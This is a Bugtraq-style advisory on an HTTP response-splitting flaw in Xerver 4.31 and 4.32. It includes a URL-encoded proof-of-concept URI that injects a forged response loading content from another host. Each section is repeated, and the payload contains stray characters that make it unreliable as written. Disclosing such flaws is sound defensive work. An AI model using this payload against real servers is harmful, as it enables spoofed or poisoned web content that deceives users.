Xerver HTTP Response Splitting Vulnerability
BID:37064
Info
Xerver HTTP Response Splitting Vulnerability
| Bugtraq ID: | 37064 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 18 2009 12:00AM |
| Updated: | Nov 19 2009 05:05PM |
| Credit: | SecureState R&D Team - sasquatch |
| Vulnerable: |
Xerver Xerver 4.32 Xerver Xerver 4.31 |
| Not Vulnerable: | |
Discussion
Xerver HTTP Response Splitting Vulnerability
Xerver is prone to an HTTP response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.
Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.
The issue affects Xerver 4.31 and 4.32; other versions may also be affected.
Xerver is prone to an HTTP response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.
Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.
The issue affects Xerver 4.31 and 4.32; other versions may also be affected.
Exploit / POC
Xerver HTTP Response Splitting Vulnerability
To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URI is available:
http://www.example.com/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8=D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbo=dy%3E%3Cimg%20src%3D%22http%3A//www.example1.com/test.gif%22%3E%3C/body%3E%3=C/html%3E%8D%C0%8A%C0%8D%C0%8A
To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URI is available:
http://www.example.com/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8=D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbo=dy%3E%3Cimg%20src%3D%22http%3A//www.example1.com/test.gif%22%3E%3C/body%3E%3=C/html%3E%8D%C0%8A%C0%8D%C0%8A
Solution / Fix
Xerver HTTP Response Splitting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].